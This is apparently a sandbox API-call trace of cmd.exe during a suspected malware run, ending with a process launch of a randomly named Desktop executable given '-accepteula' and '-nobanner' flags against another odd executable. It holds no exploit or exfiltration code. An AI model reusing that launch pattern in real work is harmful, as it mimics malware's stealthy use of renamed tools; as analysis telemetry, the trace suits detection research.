returned 0x0 [0108.503] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0108.503] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0108.503] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0108.503] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0108.503] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0108.503] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0108.503] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0108.503] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0108.503] GetProcessHeap () returned 0x7a0000 [0108.503] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x54) returned 0x7b4798 [0108.503] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x35f998 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0108.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x35f998, lpFilePart=0x35f994 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x35f994*="Desktop") returned 0x25 [0108.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0108.504] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x35f714 | out: lpFindFileData=0x35f714*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7b20f0 [0108.504] FindClose (in: hFindFile=0x7b20f0 | out: hFindFile=0x7b20f0) returned 1 [0108.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x35f714 | out: lpFindFileData=0x35f714*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7b20f0 [0108.504] FindClose (in: hFindFile=0x7b20f0 | out: hFindFile=0x7b20f0) returned 1 [0108.504] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0108.504] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x35f714 | out: lpFindFileData=0x35f714*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7b20f0 [0108.505] FindClose (in: hFindFile=0x7b20f0 | out: hFindFile=0x7b20f0) returned 1 [0108.505] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0108.505] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0108.505] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0108.505] GetProcessHeap () returned 0x7a0000 [0108.505] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b2e20 | out: hHeap=0x7a0000) returned 1 [0108.505] GetEnvironmentStringsW () returned 0x7b2a70* [0108.505] GetProcessHeap () returned 0x7a0000 [0108.505] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xba8) returned 0x7b47f8 [0108.505] FreeEnvironmentStringsW (penv=0x7b2a70) returned 1 [0108.505] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0108.505] GetProcessHeap () returned 0x7a0000 [0108.505] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b4798 | out: hHeap=0x7a0000) returned 1 [0108.505] GetProcessHeap () returned 0x7a0000 [0108.505] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x400e) returned 0x7b53a8 [0108.506] GetProcessHeap () returned 0x7a0000 [0108.506] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x98) returned 0x7b2a70 [0108.506] GetProcessHeap () returned 0x7a0000 [0108.506] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b53a8 | out: hHeap=0x7a0000) returned 1 [0108.506] GetConsoleOutputCP () returned 0x1b5 [0108.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0108.506] GetUserDefaultLCID () returned 0x409 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x35fad8, cchData=128 | out: lpLCData="0") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x35fad8, cchData=128 | out: lpLCData="0") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x35fad8, cchData=128 | out: lpLCData="1") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0108.507] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0108.507] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0108.509] GetProcessHeap () returned 0x7a0000 [0108.509] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x20c) returned 0x7b2b10 [0108.509] GetConsoleTitleW (in: lpConsoleTitle=0x7b2b10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0108.509] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0108.509] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0108.509] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0108.509] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0108.510] GetProcessHeap () returned 0x7a0000 [0108.510] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x400a) returned 0x7b53a8 [0108.510] GetProcessHeap () returned 0x7a0000 [0108.510] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b53a8 | out: hHeap=0x7a0000) returned 1 [0108.511] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0108.511] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0108.511] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0108.511] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0108.511] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0108.511] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0108.511] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0108.511] GetProcessHeap () returned 0x7a0000 [0108.511] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x58) returned 0x7b4798 [0108.511] GetProcessHeap () returned 0x7a0000 [0108.511] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x22) returned 0x7b2d28 [0108.512] GetProcessHeap () returned 0x7a0000 [0108.512] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x7c) returned 0x7b2d58 [0108.513] GetConsoleTitleW (in: lpConsoleTitle=0x35f7d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0108.513] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0108.514] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0108.515] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0108.516] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0108.517] GetProcessHeap () returned 0x7a0000 [0108.517] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x210) returned 0x7b2de0 [0108.517] GetProcessHeap () returned 0x7a0000 [0108.517] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x96) returned 0x7b2ff8 [0108.517] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0108.517] GetProcessHeap () returned 0x7a0000 [0108.517] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x418) returned 0x7b3098 [0108.517] SetErrorMode (uMode=0x0) returned 0x0 [0108.517] SetErrorMode (uMode=0x1) returned 0x0 [0108.517] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7b30a0, lpFilePart=0x35f2f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x35f2f0*="Desktop") returned 0x25 [0108.518] SetErrorMode (uMode=0x0) returned 0x1 [0108.518] GetProcessHeap () returned 0x7a0000 [0108.518] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7b3098, Size=0x6e) returned 0x7b3098 [0108.518] GetProcessHeap () returned 0x7a0000 [0108.518] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7b3098) returned 0x6e [0108.518] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0108.518] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0108.518] GetProcessHeap () returned 0x7a0000 [0108.518] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x120) returned 0x7b3110 [0108.518] GetProcessHeap () returned 0x7a0000 [0108.518] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x238) returned 0x7b3238 [0108.523] GetProcessHeap () returned 0x7a0000 [0108.523] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7b3238, Size=0x122) returned 0x7b3238 [0108.523] GetProcessHeap () returned 0x7a0000 [0108.523] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7b3238) returned 0x122 [0108.523] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0108.523] GetProcessHeap () returned 0x7a0000 [0108.524] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xe0) returned 0x7b3368 [0108.524] GetProcessHeap () returned 0x7a0000 [0108.524] RtlReAllocateHeap (Heap=0x7a0000, Flags=0x0, Ptr=0x7b3368, Size=0x76) returned 0x7b3368 [0108.524] GetProcessHeap () returned 0x7a0000 [0108.524] RtlSizeHeap (HeapHandle=0x7a0000, Flags=0x0, MemoryPointer=0x7b3368) returned 0x76 [0108.525] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0108.526] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x35f08c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x35f08c) returned 0x7b33e8 [0108.526] GetProcessHeap () returned 0x7a0000 [0108.526] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x0, Size=0x14) returned 0x7b3428 [0108.526] FindClose (in: hFindFile=0x7b33e8 | out: hFindFile=0x7b33e8) returned 1 [0108.526] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0108.526] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0108.526] GetConsoleTitleW (in: lpConsoleTitle=0x35f564, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0108.598] InitializeProcThreadAttributeList (in: lpAttributeList=0x35f3ec, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x35f4b4 | out: lpAttributeList=0x35f3ec, lpSize=0x35f4b4) returned 1 [0108.598] UpdateProcThreadAttribute (in: lpAttributeList=0x35f3ec, dwFlags=0x0, Attribute=0x60001, lpValue=0x35f4ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x35f3ec, lpPreviousValue=0x0) returned 1 [0108.598] GetStartupInfoW (in: lpStartupInfo=0x35f3a8 | out: lpStartupInfo=0x35f3a8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0108.598] GetProcessHeap () returned 0x7a0000 [0108.598] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x18) returned 0x7b33e8 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="FN=\"tra", _MaxCount=0x7) returned -3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0108.598] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0108.599] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0108.599] GetProcessHeap () returned 0x7a0000 [0108.599] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b33e8 | out: hHeap=0x7a0000) returned 1 [0108.599] GetProcessHeap () returned 0x7a0000 [0108.599] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xa) returned 0x7b0148 [0108.599] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0108.601] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x35f448*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x35f494 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", lpProcessInformation=0x35f494*(hProcess=0x78, hThread=0x74, dwProcessId=0xef4, dwThreadId=0xef8)) returned 1 [0108.612] CloseHandle (hObject=0x74) returned 1 [0108.612] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0108.612] GetProcessHeap () returned 0x7a0000 [0108.612] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b47f8 | out: 